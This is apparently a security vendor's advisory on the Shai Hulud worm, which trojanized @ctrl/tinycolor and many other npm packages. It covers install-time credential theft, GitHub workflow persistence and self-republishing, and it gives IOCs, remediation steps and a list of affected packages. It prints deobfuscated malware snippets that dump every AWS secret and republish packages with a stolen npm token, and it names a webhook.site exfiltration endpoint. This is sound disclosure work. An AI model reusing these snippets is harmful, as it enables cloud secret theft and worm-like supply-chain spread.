NPM Package @Ctrl/Tinycolor Compromised: Shai Hulud Malware Targets Secrets and Persistence

Published on September 16, 2025

Overview of slopsquatting lifecycle

Executive Summary (updated Sept 16, 2025)

Malicious releases of @ctrl/tinycolor (4.1.1, 4.1.2) were published to npm as part of a broader campaign that trojanized 40 193 packages (and counting) across multiple maintainers.

The payload is a bundled controller (bundle.js) that runs on install, harvests developer/CI credentials, and self-propagates by automatically modifying and republishing other packages owned by compromised maintainers. As malicious versions are being discovered, they are reported and most of them have since been removed from npm.

We assess with high confidence that this is the same actor responsible for the recent Nx incident. The install time execution patterns, focus on credential theft, and the use of repository and workflow persistence all indicate a single operator pursuing access, token capture, and supply chain footholds.

The unique feature of this incident is its worm-like propagation across maintainer namespaces. One compromised package becomes a force multiplier and turns a supply chain attack into a generator of additional supply chain attacks. This design magnifies blast radius across downstream consumers.

Shai hulud worm

Incidents like this one are preventable with the right controls at the edge of the software supply chain. A platform such as Ossprey can diff new releases for obfuscated code and behaviourally flag credential scraping and network beacons. These controls would block or quarantine malicious updates before merge and prevent direct impact.

Key Judgments

  1. Same actor as Nx? Yes. Tactics, timing and objectives align.
  2. What is unique? Worm-like self replication and creates follow on supply chain compromises.
  3. Was this preventable? Yes, with the right tooling and preparedness
  4. Will this happen again? Yes. Npm and other package managers have become a favorite target for attacks like this.



Technical Breakdown

Execution vector

The compromised packages include a change that causes bundle.js to run during installation (commonly via postinstall). From there, it drives a multi-stage routine.


Credential Harvesting

The controller profiles the host and invokes TruffleHog to sweek local filesystems for high-entropy secrets, while also directly probing environment variables and cloud metadata.

It targets npm, GitHub, and major cloud providers (AWS/Azure/GCP). Findings are exfiltrated to a hard-coded webhook[.]site endpoint.


// Deobfuscated AWS harvest snippet
async getAllSecretValues() {
  const secrets = [];
  let nextToken;
  do {
    const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
    for (const secret of resp.SecretList || []) {
      const value = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
      secrets.push({ ARN: secret.ARN, SecretString: value.SecretString, SecretBinary: atob(value.SecretBinary) });  
    }
    nextToken = resp.NextToken;
  } while (nextToken);
  return secrets;
}

Persistence and Blast Radius

If GitHub token is present, the malware writes a workflow file (.github/workflows/shai-hulud-workflow.yml) into repos to exfiltrate secrets on future pushes.


Self-propagation

A function often described as NpmModule.updatePackage downloads a maintainer’s other packages, injects bundle.js, repacks, and republishes, enabling a worm-like spread across the maintainer’s portfolio


async updatePackage(pkg) {
  // Patch and publish package.json 
  await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}

OS Targeting

Analyses indicate a primary focus on Linux/macOS developer and CI agents. However, other endpoints may still be impacted.




Immediate Actions

  1. Triage & Contain - Search for affected versions, remove/downgrade to known-good. Pin and rebuild images.
  2. Rotate credentials - Any developer/CI hosts that had the impacted version installed must be rotated. This should include, but may not be limited to:
    • npm tokens
    • GitHub PATs/Action secrets
    • Cloud credentials (AWS/Azure/GCP)
    • Corporate credentials if stored locally
    • Any credentials stored in plaintext on impacted systems
  3. Hunt for Persistence - Grep repos/orgs for .github/workflows/shai-hulud-workflow.yml. Review recent npm publish events and unexpected package.json edits. Monitor egress to webhook.site indicators.
  4. Strengthen Publisher Hygiene - Enforce MFA for login and PRs, and scoped, short-lived published tokens. Run pre-publish checks. Monitor for anomalous postinstall/networking deltas in diffs (Ossprey can help!)



Affected Packages

Package Name Version(s)
@ahmedhfarag/ngx-perfect-scrollbar 8.0.1, 20.0.20
@ahmedhfarag/ngx-virtual-scroller 4.0.4, 9.2.2
@art-ws/common 9.7.2
@art-ws/config-eslint 2.0.4, 2.0.5
@art-ws/config-ts 2.0.7, 2.0.8
@art-ws/db-context 2.0.24
@art-ws/di 2.0.28, 2.0.32
@art-ws/di-node 2.0.13
@art-ws/eslint 1.0.5, 1.0.6
@art-ws/fastify-http-server 2.0.24, 2.0.27
@art-ws/http-server 2.0.21, 2.0.25
@art-ws/openapi 0.1.9, 0.1.12
@art-ws/package-base 1.0.5, 1.0.6
@art-ws/prettier 1.0.5, 1.0.6
@art-ws/slf 2.0.15, 2.0.22
@art-ws/ssl-info 1.0.9, 1.0.10
@art-ws/web-app 1.0.3, 1.0.4
@basic-ui-components-stc/basic-ui-components 1.0.5
@crowdstrike/commitlint 8.1.1, 8.1.2
@crowdstrike/falcon-shoelace 0.4.1, 0.4.2
@crowdstrike/foundry-js 0.19.1, 0.19.2
@crowdstrike/glide-core 0.34.2, 0.34.3
@crowdstrike/logscale-dashboard 1.205.1, 1.205.2
@crowdstrike/logscale-file-editor 1.205.1, 1.205.2
@crowdstrike/logscale-parser-edit 1.205.1, 1.205.2
@crowdstrike/logscale-search 1.205.1, 1.205.2
@crowdstrike/tailwind-toucan-base 5.0.1, 5.0.2
@ctrl/deluge 6.0.6
@ctrl/golang-template 1.0.7
@ctrl/magnet-link 4.0.2
@ctrl/ngx-codemirror 6.0.2
@ctrl/ngx-csv 4.6.43
@ctrl/ngx-emoji-mart 7.2.76
@ctrl/ngx-rightclick 3.0.6
@ctrl/qbittorrent 7.3.1
@ctrl/react-adsense 19.0.2
@ctrl/shared-torrent 5.11.2
@ctrl/tinycolor 4.0.4
@ctrl/torrent-file 4.1.1
@ctrl/transmission 7.2.72
@ctrl/ts-base32 4.0.2
@hestjs/core 0.2.1
@hestjs/cqrs 0.1.6
@hestjs/demo 0.1.2
@hestjs/eslint-config 0.1.2
@hestjs/logger 0.1.6
@hestjs/scalar 0.1.7
@hestjs/validation 0.1.6
@nativescript-community/arraybuffers 1.1.6, 1.1.7, 1.1.8
@nativescript-community/gesturehandler 2.0.2
@nativescript-community/perms 3.0.5, 3.0.6, 3.0.7, 3.0.8
@nativescript-community/sentry 4.1.2
@nativescript-community/sqlite 3.5.2, 3.5.3, 3.5.4, 3.5.5
@nativescript-community/text 1.4.3
@nativescript-community/typeorm 0.2.30, 0.2.31, 0.2.32, 0.2.33
@nativescript-community/ui-collectionview 5.11.1
@nativescript-community/ui-document-picker 6.0.6
@nativescript-community/ui-drawer 0.1.30
@nativescript-community/ui-image 4.1.2
@nativescript-community/ui-label 1.3.35, 1.3.36, 1.3.37
@nativescript-community/ui-material-bottom-navigation 7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-bottomsheet 6.3.2
@nativescript-community/ui-material-core 7.0.2
@nativescript-community/ui-material-core-tabs 7.2.2
@nativescript-community/ui-material-ripple 7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-tabs 7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-pager 14.1.36, 14.1.37, 14.1.38
@nativescript-community/ui-pulltorefresh 2.5.4, 2.5.5, 2.5.6, 2.5.7
@nexe/config-manager 0.1.1
@nexe/eslint-config 0.1.1
@nexe/logger 0.1.3
@nstudio/angular 20.0.4, 20.0.5, 20.0.6
@nstudio/focus 20.0.4, 20.0.5, 20.0.6
@nstudio/nativescript-checkbox 2.0.6, 2.0.7, 2.0.8, 2.0.9
@nstudio/nativescript-loading-indicator 5.0.1, 5.0.2, 5.0.3, 5.0.4
@nstudio/ui-collectionview 5.1.11, 5.1.12, 5.1.13, 5.1.14
@nstudio/web 20.0.4
@nstudio/web-angular 20.0.4
@nstudio/xplat 20.0.5, 20.0.6, 20.0.7
@nstudio/xplat-utils 20.0.5, 20.0.6, 20.0.7
@operato/board 9.0.51
@operato/data-grist 9.0.29, 9.0.35, 9.0.36, 9.0.37
@operato/graphql 9.0.51
@operato/headroom 9.0.2, 9.0.35, 9.0.36, 9.0.37
@operato/help 9.0.51
@operato/i18n 9.0.35, 9.0.36, 9.0.37
@operato/input 9.0.48
@operato/layout 9.0.35, 9.0.36, 9.0.37
@operato/popup 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/pull-to-refresh 9.0.47
@operato/shell 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39
@operato/styles 9.0.2, 9.0.35, 9.0.36, 9.0.37
@operato/utils 9.0.51
@teselagen/bounce-loader 0.3.16, 0.3.17
@teselagen/liquibase-tools 0.4.1
@teselagen/range-utils 0.3.14, 0.3.15
@teselagen/react-list 0.8.19, 0.8.20
@teselagen/react-table 6.10.19
@thangved/callback-window 1.1.4
@things-factory/attachment-base 9.0.55
@things-factory/auth-base 9.0.43, 9.0.44, 9.0.45
@things-factory/email-base 9.0.59
@things-factory/env 9.0.42, 9.0.43, 9.0.44, 9.0.45
@things-factory/integration-base 9.0.43, 9.0.44, 9.0.45
@things-factory/integration-marketplace 9.0.43, 9.0.44, 9.0.45
@things-factory/shell 9.0.43, 9.0.44, 9.0.45
@tnf-dev/api 1.0.8
@tnf-dev/core 1.0.8
@tnf-dev/js 1.0.8
@tnf-dev/mui 1.0.8
@tnf-dev/react 1.0.8
@ui-ux-gang/devextreme-angular-rpk 24.1.7
@ui-ux-gang/devextreme-rpk 24.1.7
@yoobic/design-system 6.5.17
@yoobic/jpeg-camera-es6 1.0.13
@yoobic/yobi 8.7.53
ace-colorpicker-rpk 0.0.14
airchief 0.3.1
airpilot 0.8.8
angulartics2 10.0.2
browser-webdriver-downloader 3.0.8
capacitor-notificationhandler 0.0.3
capacitor-plugin-healthapp 0.0.3
capacitor-plugin-ihealth 1.1.9
capacitor-plugin-vonage 1.0.3
capacitorandroidpermissions 0.0.5
config-cordova 0.8.5
cordova-plugin-voxeet2 1.0.24
cordova-voxeet 1.0.32
create-hest-app 0.1.9
db-evo 1.1.5
devextreme-angular-rpk 21.2.8
ember-browser-services 5.0.2, 5.0.3
ember-headless-form 1.1.2, 1.1.3
ember-headless-form-yup 1.0.1
ember-headless-table 2.1.5, 2.1.6
ember-url-hash-polyfill 1.0.12, 1.0.13
ember-velcro 2.2.1, 2.2.2
encounter-playground 0.0.5
eslint-config-crowdstrike 11.0.2, 11.0.3
eslint-config-crowdstrike-node 4.0.3, 4.0.4
eslint-config-teselagen 6.1.7
globalize-rpk 1.7.4
graphql-sequelize-teselagen 5.3.8
html-to-base64-image 1.0.2
json-rules-engine-simplified 0.2.1
jumpgate 0.0.2
koa2-swagger-ui 4.5.6
mcfly-semantic-release 1.3.1
mcp-knowledge-base 0.0.2
mcp-knowledge-graph 1.2.1
mobioffice-cli 1.0.3
monorepo-next 13.0.1, 13.0.2
mstate-angular 0.4.4
mstate-cli 0.4.7
mstate-dev-react 1.1.1
mstate-react 1.6.5
ng-imports-checker 0.0.10
ng2-file-upload 7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1
ngx-bootstrap 18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5
ngx-color 1.9.2
ngx-toastr 14.1.2
ngx-trend 7.2.76
ngx-ws 1.1.6
oradm-to-gql 35.0.14, 35.0.15
oradm-to-sqlz 1.1.2
ove-auto-annotate 0.0.9
pm2-gelf-json 1.0.5
printjs-rpk 1.6.1
react-complaint-image 0.0.35
react-jsonschema-form-conditionals 0.2.4
react-jsonschema-form-extras 0.3.21
remark-preset-lint-crowdstrike 4.0.1, 4.0.2
rxnt-authentication 0.0.6
rxnt-healthchecks-nestjs 1.0.4
rxnt-kue 1.0.5
swc-plugin-component-annotate 1.6.13
tbssnch 1.0.2
teselagen-interval-tree 1.1.2
tg-client-query-builder 2.14.4, 2.14.5
tg-redbird 1.3.1
tg-seq-gen 1.0.9, 1.0.10
thangved-react-grid 1.0.3
ts-gaussian 2.0.35
ts-imports 1.0.2
tvi-cli 0.1.5
ve-bamreader 0.2.6
ve-editor 1.0.1
verror-extra 6.0.1
voip-callkit 1.0.3
wdio-web-reporter 0.1.3
yargs-help-output 5.0.3
yoo-styles 6.0.326

NOTE: the list of impacted packages is growing. Please continue to check in here for the lastest list of impacted resources

updated Sept 17 @ 15:06 BST


IOCs

  • Filename: bundle.js (SHA-256: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09)
  • Exfil endpoint: https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
  • Maliciuos workflow path: .github/workflows/shai-hulud-workflow.yml



How Ossprey Can Help!

Map maintainer and transitive risk.

Generate and continuously reconcile SBOMs to link packages to maintainers and orgs, surface owner pivots, and flag risky transitive chains before they reach builds.

Detect malicious updates early

Ossprey’s behavior-first scanners diff new releases, de-obfuscate bundled assets, and spot install-time scripts, credential harvesting, beaconing, and self-publish routines in near-real time.

Protect every pull request

Seamless CI/CD integrations silently enforce provenance and block suspect packages by default, quarantining risky changes and guiding remediation before merge.


Get Ossprey protection now! Sign up to our wait list, or contact us directly at contact@ossprey.com



Citations and Acknowledgements